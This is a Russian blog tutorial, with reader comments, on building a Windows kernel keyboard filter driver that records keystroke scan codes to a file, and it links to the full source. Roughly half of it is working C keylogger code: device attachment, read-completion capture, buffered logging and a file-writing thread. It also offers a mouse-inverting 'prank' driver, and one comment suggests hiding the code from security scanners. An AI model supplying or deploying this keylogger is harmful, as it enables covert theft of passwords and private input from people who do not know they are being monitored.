Клавиатурный шпион. Игра переходит на новый уровень
Приветствую тебя, читатель блога программистов! Появление на блоге статьей с периодом в полгода наверно стало уже традицией, притом очень плохой традицией, поэтому эту традицию надо срочно нарушать! В этой статье я снова возвращаюсь к теме клавиатурных шпионов, казалось бы, тема избита и размусолена до такой степени, что уже при одном только её упоминании начинает тошнить. Здесь очень трудно придумать что-то новое, но всё-таки есть ещё способ фильтрации или отслеживания нажатий клавиш на клавиатуре – это написание клавиатурного драйвера-фильтра. Притом драйвер будет не обычным, а с поддержкой технологии Plug&Play.
Некоторые подумают драйвер это что-то очень сложное. Да, с одной стороны это сложно, но в принципе драйвер пишется также как и обычная программа, и компилироваться она может с помощью той же самой Visual Studio, с помощью которой вы компилируете обычные программы (разумеется, после настройки). Тем не менее, программирование в ядре системы очень сильно отличается от программирования обычных программ, в ядре системы Windows действуют другие правила и другие принципы. В этой статье я не буду рассказывать и разжевывать элементарные вещи, для этого есть куча статьей, например, туториал от Four-F, который можно найти на сайте WASM.RU. Далее я буду подразумевать, что читатель знает базовые принципы разработки драйверов для операционной системы Windows, а также знает как всю эту «ерунду» компилировать. (На вопросы типа: «как компилировать», «у меня не компилируется, что делать?» отвечать просто-напросто не буду, также я буду игнорировать все вопросы, возникшие из-за простого незнания основ)
Так ладно, приступим к делу. Далее я расскажу, как фильтровать нажатия клавиш с помощью драйвера, который работает в ядре системы. Опишу наиболее правильный, легальный и документированный способ – установка фильтра на целый класс устройств (в нашем случае, клавиатур). Есть конечно ещё куча способов, некоторые менее правильные, некоторые менее полезны, описанный здесь способ наиболее простой и наиболее аппаратно-независим и переносим.
Драйвер-фильтр одним из первых в системе узнаёт о нажатиях клавиш, он получает эту информацию от первоисточника, от драйвера клавиатуры, так сказать из первых рук. Драйвер-фильтр работает в ядре системы, у него больше прав, чем у самой привилегированной программы работающей в системе, что налагает на программиста гораздо больше ответственности в тех действиях, которые он делает в драйвере. Любое неправильное действие может привести к глюкам во всей системе и даже к BSOD.
В операционной системе Windows все устройства делятся на классы, каждый класс задаётся своим GUID’ом (например, класс клавиатур имеет GUID {4D36E96B-E325-11CE-BFC1-08002BE10318}). Все классы их параметры задаются в разделе реестра HKLM\System\CurrentControlSet\Control\Class. Каждый класс представлен ключом с именем равным его GUID’у. Также у каждого класса имеется список подключей в котором находится описание каждого устройства в системе принадлежащего этому классу. У каждого класса имеется свой список драйверов верхнего уровня, этот список содержится в переменной с именем UpperFilters с типом REG_MULTI_SZ (в мультистроке). Так перечисляются имена драйверов, являющиеся фильтрами верхнего уровня для устройств этого класса, которые являются посредниками между собственно драйверами клавиатур и остальной системой. В этом списке находятся только имена драйверов. Само описание драйверов можно найти в ключе HKLM\System\CurrentControlSet\Services. Описание нужного драйвера будет находиться в подключе с тем именем, которое будет указано в переменной UpperFilters искомого класса. В переменной UpperFilters по-умолчанию находится только одно имя – kbdclass.
Драйвер kbdclass является посредником между подсистемой ввода данных с кливиатуры и драйверами клавиатур. Драйвер kbdclass создаёт для каждой клавиатуры устройство с именем \Device\KeyboardClass, где N это порядковый номер клавиатуры. Например, для самой первой клавиатуры устройство будет иметь имя \Device\KeyboardClass0. Драйвер kbdclass предоставляет унифицированный метод взаимодействия подсистем с клавиатурами. Исходники драйвера kbdclass отрыты и их можно найти в комплекте WDK (или DDK). Наша задача написать драйвер чем-то похожий на kbdclass (вернее его наиболее упрощённую версию), это не так сложно как может показаться.
Какой же принцип работы будет у нашего клавиатурного фильтра? Принцип очень прост: драйвер будет создавать устройство, которое будет прицеплять к устройству создаваемому драйвером клавиатуры, получая возможность пропускать через себя все запросы, посылаемые драйверу клавиатуры.
Для начала надо понять что такое «прицепиться к устройству» (attach to device). Это один из фундаментальных механизмов позволяющий быть подсистеме ввода/вывода операционной системы Windows быть гибкой, универсальной и переносимой каковой она является. Присоединение к устройству осуществляется с помощью функций IoAttachDevice, IoAttachDeviceToDeviceStack, IoAttachDeviceToDeviceStackSafe. Функция IoAttachDevice принимает на вход имя искомого устройства и указатель на устройство, которое необходимо присоединить. Функция IoAttachDeviceToDeviceStack в отличие от IoAttachDevice принимает на вход не имя искомого устройства, а указатель на него, таким образом, позволяя присоединяться к безымянным устройствам. Функция IoAttachDeviceToDeviceStackSafe в отличие от функции IoAttachDeviceToDeviceStack перед присоединением блокирует всю подсистему ввода/вывода, защищая её от возможных коллизий. При этом функция IoAttachDevice является оболочкой вокруг IoAttachDeviceToDeviceStackSafe, а она в свою очередь является оболочкой вокруг IoAttachDeviceToDeviceStack.
В структуре DEVICE_OBJECT с помощью, которой происходит описание объекта-устройства, есть поле под названием AttachedDevice, в которое заносится указатель на устройство которое было присоединено к нему. Если к искомому устройству пытаются присоединить более одного устройства, то присоединение происходит уже ко второму устройству. Таким образом, присоединить к некоторому устройству можно сколько угодно устройств. Согласно вышеописанной схеме, присоединение всегда происходит к самому последнему присоединённому устройству в стеке устройств. При отправке запроса к устройству происходит анализ поля AttachedDevice, если оно не равно нулю, то происходит посылка запроса к нему. При посылке запроса к присоединённому устройству происходит повторная проверка этого поля и так до тех пор, пока у очередного устройства оно не будет равно нулю.
Все функции IoAttachDevice* принимают в качестве параметра указатель на переменную, куда будет сохранён указатель на устройство, к которому фактически произошло присоединение, именно ему и необходимо передавать все полученные запросы ввода/вывода. Таким образом, после присоединения к некоторому устройству мы гарантированно узнаем обо всех пакетах направленных к искомому устройству. Конкретно в нашем случае, если мы присоединимся к искомому устройству клавиатуры раньше всех, то устройство KeyboardClassN созданное драйвером kbdclass будет присоединено именно к нам, и все запросы, пришедшие от KeyboardClassN буду проходить через наше устройство. В другом случае если мы присоединимся к искомому устройству клавиатуры уже, после того как будет присоединено устройство KeyboardClassN, то мы присоединимся уже к устройству KeyboardClassN. В этом случае помимо того, что все запросы к искомому устройству созданному драйвером клавиатуры пройдут через наше устройство, мы получим ещё возможность предварительной фильтрации запросов посланных к устройству KeyboardClassN (ещё до того как KeyboardClassN узнает об их существовании). Тем не менее в нашем случае необходимо присоединение перед устройством KeyboardClassN, так как если присоединение произодёт можду KeyboardClassN и устрйоством клавиатуры, то мы не сможем профильтровать IRP-запрос IRP_MJ_READ, потому что драйвер kbdclass не посылает его вниз по стеку к устройству клавиатуры.
Как же мы присоединимся к устройствам созданным драйверами клавиатур? В этом то нам и поможет Plug&Play менеджер (далее PnP). Как только PnP менеджер находит новое устройство в системе принадлежащее, в нашем случае, классу клавиатур, то он вызывает функцию AddDevice драйвера. Как PnP менеджер находит эту функцию? В структуре DRIVER_OBJECT с помощью, которой описывается каждый объект-драйвер в системе, есть поле DriverExtension, которое указывает на структуру DRIVER_EXTENSION, которая хранит дополнительную информацию о драйвере. В структуре DRIVER_EXTENSION есть одно единственное поле под именем AddDevice, в которой и находится адрес функции, которую вызовет PnP менеджер. Есть конечно и другой вариант присоединения к стеку устройств клавиатуры, это присоединение сразу к устройству KeyboardClassN без мороки с PnP менеджером, этот вариант также эффективен, но менее гибок, вообще всегда в таких случаях рекомендуется использовать документированный вариант.
Итак, мы разобрались, как будем присоединяться к устройствам созданным драйверами клавиатур. Теперь пока приступить к практике. Первое что надо написать – это функцию DriverEntry, которая является точкой входа в драйвер. В ней нам, надо установить указатели на все функции обработчики драйвера.
for (i = 0; i MajorFunction = DriverDispatchGeneral;
}
DriverObject->MajorFunction[IRP_MJ_READ] = keylogDispatchRead;
DriverObject->MajorFunction [IRP_MJ_POWER] = keylogPower;
DriverObject->MajorFunction [IRP_MJ_PNP] = keylogPnP;
DriverObject->DriverUnload = DriverUnload;
DriverObject->DriverExtension->AddDevice = keylogAddDevice;
return STATUS_SUCCESS;
Пойдём по порядку, функция keylogAddDevice вызывается PnP менеджером при обнаружении новой клавиатуры и передаёт ей указатель на устройство созданное драйвером клавиатуры. Вот собственно её полный код:
typedef struct _DEVICE_EXTENSION {
PDEVICE_OBJECT TopOfStack;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;
NTSTATUS
keylogAddDevice(
IN PDRIVER_OBJECT Driver,
IN PDEVICE_OBJECT PDO)
{
PDEVICE_EXTENSION devExt;
IO_ERROR_LOG_PACKET errorLogEntry;
PDEVICE_OBJECT device;
NTSTATUS status = STATUS_SUCCESS;
// Create a filter device and attach it to the device stack.
status = IoCreateDevice(Driver, sizeof(DEVICE_EXTENSION),
NULL, FILE_DEVICE_KEYBOARD,
0, FALSE, &device);
if (!NT_SUCCESS(status)) return status;
RtlZeroMemory(device->DeviceExtension, sizeof(DEVICE_EXTENSION));
devExt = (PDEVICE_EXTENSION) device->DeviceExtension;
devExt->TopOfStack = IoAttachDeviceToDeviceStack(device, PDO);
device->Flags |= (DO_BUFFERED_IO | DO_POWER_PAGABLE);
device->Flags &= ~DO_DEVICE_INITIALIZING;
return status;
}
Ничего особенно сложного в этой функции нет. Мы создаём устройство, указываем размер буфера для хранения дополнительной информации равным размеру структуры DEVICE_EXTENSION. После создания нового устройства мы присоединяем его к устройству указатель, на которое передан нам через параметр PDO. Указатель, полученный после вывоза функции IoAttachDeviceToDeviceStack, мы заносим в поле TopOfStack.
Функция DriverDispatchGeneral это обычная заглушка, она просто передаёт запрос нижестоящему драйверу. Следующая функция, это функция keylogDispatchRead, которая будет вызвана при получении устройством запрос IRP_MJ_READ.
NTSTATUS
keylogDispatchRead(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp )
{
PDEVICE_EXTENSION devExt;
PIO_STACK_LOCATION currentIrpStack;
PIO_STACK_LOCATION nextIrpStack;
devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
currentIrpStack = IoGetCurrentIrpStackLocation(Irp);
nextIrpStack = IoGetNextIrpStackLocation(Irp);
*nextIrpStack = *currentIrpStack;
IoSetCompletionRoutine( Irp, keylogReadComplete,
DeviceObject, TRUE, TRUE, TRUE );
return IoCallDriver( devExt->TopOfStack, Irp );
}
Работа этой функции не намного отличается от функции DriverDispatchGeneral. Отличие состоит в том что она устанавливает IoСompletion функцию для IRP, которая будет вызвана когда запрос будет выполнен. Нельзя забывать, что большинство все запросы в ядре Windows выполняются асинхронно и единственный способ узнать что запрос выполнился и получить его результат это установка IoСompletion функции. Именно на IoСompletion функцию возлагается для работа по логгированию нажатий на клавиши. Но сначала надо разобраться каким образом происходит получение информации о нажатиях клавиш.
Некий поток в процессе CSRSS.EXE в бесконечном цикле запрашивает информацию о нажатиях клавиш от устройств KeyboardClassN. Запрос данных происходит посредством запроса IRP_MJ_READ. 99,99% таких запросов выполняются асинхронно, поэтому данные о нажатиях на клавиши можно узнать только в IoСompletion функции. Информация о нажатиях на кнопки передаётся с помощью массива структур KEYBOARD_INPUT_DATA.
typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
В этой структуре полезны только два поля: MakeCode и Flags. Поле MakeCode содержит скан-код клавиши. Поле Flags может содержить следующие флаги:
KEY_MAKE – клавиша была нажата
KEY_BREAK – клавиша была отжата
KEY_E0 и KEY_E1 – нажатие произошло на специальные функциональные кнопки клавиатуры.
После того как мы разобрались с форматом передаваемых данных, можно приступить к рассмотрению IoСompletion функции.
NTSTATUS keylogReadComplete(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)
{
PKEYBOARD_INPUT_DATA KeyData;
LONG numKeys, i;
if(NT_SUCCESS(Irp->IoStatus.Status))
{
KeyData = Irp->AssociatedIrp.SystemBuffer;
numKeys = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
for( i = 0; i PendingReturned) IoMarkIrpPending( Irp );
return Irp->IoStatus.Status;
}
Если выполнение запроса завершилось успешно (об этом нам говорит значение из Irp->IoStatus.Status), то мы приступаем к обработке результат запроса. Данные находятся в буфере, на который указывает поле Irp->AssociatedIrp.SystemBuffer. Размер данных содержащихся в буфере находится в Irp->IoStatus.Information. Чтобы получить количество структур в этом буфере надо разделить размер данных на размер одной структуры. После получения количества структур KEYBOARD_INPUT_DATA можно приступить к их обработке. Добавление данных в лог осуществляет функция AddDataToLog. Но перед тем как рассматривать функцию AddDataToLog, надо разобраться, как будет вестись лог. Лог будет находиться в памяти, память выделенная под лог будет размером 1 КБ, как только размер лога будет доходить до размера 1 КБ он будет сохраняться в файл. . Со способом ведения лога мы разобрались, теперь можно приступить к написанию функции AddDataToLog.
void AddDataToLog(USHORT ScanCode, USHORT Flags)
{
KIRQL oldIrql;
if (LogBuffer->Count < (LogBufferSize-sizeof(USHORT))/sizeof(USHORT))
{
KeAcquireSpinLock(&SyncSpin, &oldIrql);
LogBuffer->Buffer[LogBuffer->Count] = ScanCode | (Flags<<8);
++LogBuffer->Count;
KeReleaseSpinLock(&SyncSpin, oldIrql);
} else
{
DbgPrint("Log buffer full\n");
KeAcquireSpinLock(&SyncSpin, &oldIrql);
LogCopyBuffer = (PKEYLOG_BUFFER) ExAllocatePool(NonPagedPool, LogBufferSize);
if (LogCopyBuffer)
{
RtlCopyMemory(LogCopyBuffer, LogBuffer, LogBufferSize);
KeSetEvent(&LogSaver_SyncEvent, 0, FALSE);
}
LogBuffer->Count = 0;
KeReleaseSpinLock(&SyncSpin, oldIrql);
}
}
Главное что мы должны знать при написании этой функции – это то, что функция IoCompletion и следовательно функция AddDataToLog выполняется на DISPATCH_LEVEL. Функция вполне может выполняться и на более низкий уровнях, но тем не менее документация DDK говорит нам о том что мы должны исходить из того что эта функция будет выполняться на DISPATCH_LEVEL и в связи с этим на код налагаются некоторые ограничения. Ограничения в нашем случае состоят в следующем: мы не сможем работать с файловой подсистемой и не сможем использовать обычные объекты синхронизации для обновления лога (для создания критической секции кода). Но как же тогда сохранять лог в файл? Сохранять лог в файл будет специальный системный поток, который будет выполняться на уровне PASSIVE_LEVEL. Этот поток будет ждать установки в сигнальное состояние специального события, и как только это событие перейдёт в сигнальное состояние поток сохранит лог в файл.
В первую очередь функция проверяет количество элементов в буфере. Если буфер заполнился, то происходит его сохранение, если нет, то копирует данные во вспомогательный буфер и устанавливает в сигнальное состояние событие, что сигнализирует поток о том, что он должен сохранить копию лога в файл.
Функции KeAcquireSpinLock и KeReleaseSpinLock реализуют вход и выход из критической секции в ядре системы. Функция KeAcquireSpinLock подобно API функции EnterCriticalSection захватывает спин, если он уже захвачен, то ждёт, когда он будет освобождён и сразу после освобождения захватывает спин. После захвата спина функция KeAcquireSpinLock повышает текущий IRQL до DISPATCH_LEVEL, таким образом, код, находящийся между вызовами KeAcquireSpinLock и KeReleaseSpinLock не может быть прерванными любой другой DPC процедурой. В то время как обычные механизмы (с использованием семафоров, мьютексов, событий и др.) позволяют синхронизировать потоки только на уровне PASSIVE_LEVEL, механизм спин-блокировок позволяет синхронизировать потоки, работающие на уровнях меньших или равных DISPATCH_LEVEL. С помощью механизма спин-блокировок мы решаем задачу синхронизации доступа к логу – в некоторый момент времени с логом может работать только один поток и только один процессор.
После копирования и уведомления потока, отвечающего за сохранение лога, функция обнуляет счетчик, отвечающий за текущее количество символов в логе.
Поточная функция в цикле ждёт установки в сигнальное состояние двух событий: события отвечающего за сохранение данных в лог и события сигнализирующего о том, что драйвер должен быть выгружен. Во втором случае поток должен завершиться. Далее приведён код поточной функции.
void LogSaver(PVOID Context)
{
NTSTATUS status;
PVOID WObj[2];
UNICODE_STRING FileName;
//DbgPrint("LogSaver started!\n");
WObj[0] = &LogSaver_SyncEvent;
WObj[1] = &LogSaver_TermEvent;
RtlInitUnicodeString(&FileName, LogFileName);
while (1)
{
status = KeWaitForMultipleObjects (2, WObj, WaitAny, Executive,
KernelMode, FALSE, NULL, NULL);
if (status== STATUS_WAIT_1) PsTerminateSystemThread(STATUS_SUCCESS);
if (!NT_SUCCESS(status)) PsTerminateSystemThread(status);
AppdendDataToFile(&FileName, &LogCopyBuffer->Buffer, LogBufferSize-sizeof(USHORT));
ExFreePool(LogCopyBuffer);
KeResetEvent(&LogSaver_SyncEvent);
}
}
Код функции отвечающей за сохранение (верее добавление) данных в лог, я приводить здесь не буду, ибо она тривиальна.
Теперь необходимо инициализировать события запустить поток. Делается это в функции DriverEntry.
KeInitializeSpinLock(&SyncSpin);
LogBuffer = (PKEYLOG_BUFFER) ExAllocatePool(NonPagedPool, LogBufferSize);
if (!LogBuffer) return STATUS_NO_MEMORY;
LogBuffer->Count = 0;
KeInitializeEvent(&LogSaver_SyncEvent, NotificationEvent, FALSE);
KeInitializeEvent(&LogSaver_TermEvent, NotificationEvent, FALSE);
status = PsCreateSystemThread(&LogSaverThreadHandle, THREAD_ALL_ACCESS, 0, 0, 0, &LogSaver, 0);
if (!NT_SUCCESS(status))
{
ExFreePool(LogBuffer);
return status;
}
В функции DriverUnload надо установить событие LogSaver_TermEvent в сигнальное состояние и подождать когда поток завершится.
void DriverUnload(IN PDRIVER_OBJECT Driver)
{
UNREFERENCED_PARAMETER(Driver);
KeSetEvent(&LogSaver_TermEvent, 0, FALSE);
ZwWaitForSingleObject(LogSaverThreadHandle, FALSE, NULL);
ExFreePool(LogBuffer);
}
После того как присоединили наше устройство к стеку устройств, удалить его можно будет только после того как будет удалено искомое устройство. Для правильного удаления фильтрующего устройства мы должны обработать запрос IRP_MJ_PNP с кодом IRP_MN_REMOVE_DEVICE. В этом случае мы должны отсоединить наше устройство от стека и удалить его, так как оно нам уже не нужно. Далее приведён код обработчика запросов IRP_MJ_PNP.
NTSTATUS keylogPnP(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PDEVICE_EXTENSION devExt;
PIO_STACK_LOCATION irpStack;
NTSTATUS status = STATUS_SUCCESS;
KIRQL oldIrql;
KEVENT event;
devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
irpStack = IoGetCurrentIrpStackLocation(Irp);
switch (irpStack->MinorFunction) {
case IRP_MN_REMOVE_DEVICE:
IoSkipCurrentIrpStackLocation(Irp);
IoCallDriver(devExt->TopOfStack, Irp);
IoDetachDevice(devExt->TopOfStack);
IoDeleteDevice(DeviceObject);
status = STATUS_SUCCESS;
break;
case IRP_MN_SURPRISE_REMOVAL:
IoSkipCurrentIrpStackLocation(Irp);
status = IoCallDriver(devExt->TopOfStack, Irp);
break;
case IRP_MN_START_DEVICE:
case IRP_MN_QUERY_REMOVE_DEVICE:
case IRP_MN_QUERY_STOP_DEVICE:
case IRP_MN_CANCEL_REMOVE_DEVICE:
case IRP_MN_CANCEL_STOP_DEVICE:
case IRP_MN_FILTER_RESOURCE_REQUIREMENTS:
case IRP_MN_STOP_DEVICE:
case IRP_MN_QUERY_DEVICE_RELATIONS:
case IRP_MN_QUERY_INTERFACE:
case IRP_MN_QUERY_CAPABILITIES:
case IRP_MN_QUERY_DEVICE_TEXT:
case IRP_MN_QUERY_RESOURCES:
case IRP_MN_QUERY_RESOURCE_REQUIREMENTS:
case IRP_MN_READ_CONFIG:
case IRP_MN_WRITE_CONFIG:
case IRP_MN_EJECT:
case IRP_MN_SET_LOCK:
case IRP_MN_QUERY_ID:
case IRP_MN_QUERY_PNP_DEVICE_STATE:
default:
IoSkipCurrentIrpStackLocation(Irp);
status = IoCallDriver(devExt->TopOfStack, Irp);
break;
}
return status;
}
Последней штрихом в нашем драйвере, будет обработка запроса IRP_MJ_POWER, его обработка должна быть немного другой, чем обработка обычного запроса.
NTSTATUS keylogPower(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PDEVICE_EXTENSION devExt;
devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
PoStartNextPowerIrp(Irp);
IoSkipCurrentIrpStackLocation(Irp);
return PoCallDriver( devExt->TopOfStack, Irp );
}
Требование в пересылке запросов IRP_MJ_POWER с помощью функции PoCallDriver связана с необходимостью в синхронизации выполнения запросов IRP_MJ_POWER на всей системе в целом. Начиная с Windows Vista использование функции PoCallDriver для пересылки запросов IRP_MJ_POWER уже не является обязательным.
Наблюдательный человек сразу заметит, что в драйвере есть пара недочётов, например, при выгрузке драйвера в файл не будет сохранён лог, который находится в памяти, возлагаю решение этой задачи на вас.
По большому счёту писать драйвер-фильтр для логгирования нажатий клавиш работа немного бестолковая. В драйвере-фильтре сложнее определить в какое-окно вводится текст и в какое приложение будет отправлено сообщение. Драйвер-фильтр намного полезен для других целей, например для глобального переназначения клавиш, для возможности отлова некоторых кнопок которые нельзя отловить в обычной программе (например, кнопку Print Screen), для создания своей собственной супер-комбинации клавиш состоящей из 4-5 кнопок (например, при одновременном нажатии кнопок F1-F5 имитировать нажатие на кнопку Enter).
Аналогичным образом происходит фильтрация данных получаемых от мыши, в этом случае при установке драйвера необходимо указать GUID класса устройств типа мышь — {4D36E96F-E325-11CE-BFC1-08002BE10318}.
Итак, мы написали драйвер-фильтр, который сохраняет в файл C:\Windows\keylog.data скан-коды клавиш. Но скан-код сам по себе это просто некоторый код, он не обозначает ни виртуальный код, ни код введённого символа. Скан-код обретает свой смысл только после того как будет известна, какая раскладка была включена. Как конвертировать скан-коды в виртуальные коды или символы я расскажу в следующей своей статье, а на сегодня хватит того материала, который я уже изложил.
Как установить драйвер, который мы написали? Есть два способа: вручную прописать его в реестре или с помощью INF-файла. Между двумя этими способами нет особо большой разницы, выбирайте сами. Я предпочитаю устанавливать драйверы с помощью INF-файла.
Скачать драйвер keylog и его полный исходный код.
Драйвер remapkey осуществляет переназначение клавиши Print Screen на клавишу Enter, когда драйвер активен невозможно сделать скриншот экрана с помощью кнопки Print Scrn. (комбинация Alt+ остаётся рабочей) Скачать драйвер remapkey.
Драйвер mousinv меняет местами X и Y координату указателя, в итоге получается довольно-таки интересный эффект. Идеален для приколов над кем-нибудь, если не знать что чём причина, то может показаться что единственный способ устранения проблемы это переустановка системы. Скачать драйвер mousinv.
Примеры проверены под WIn XP SP3 и Windows 7. Компилируются с помощью программы build (из DDK)
После запуска драйвера срабатывает функция LogSaver и сразу же выполняется функция DriverUnload, видимо из-за какой-либо ошибки в LogSaver’е… пока еще не разобрался почему…!
в случае ошибки в LogSaver’е будет BSOD
Запускал под Win 7 32 бит, BSOD не наблюдается, просто, как и писал в пред.сообщении, драйвер выгружается, причем, судя по всему, выгружается корректно…
значит какая-то функция в LogSaver завершается неудачей, смотрите в отладчик. сразу всё станет понятно
По этой схеме любой активный сканер хуки перехватит. Обертку делать нужно и в машинных кодах — а это на ассемблеры переезжать.
Ремонт компьютеров в СПБ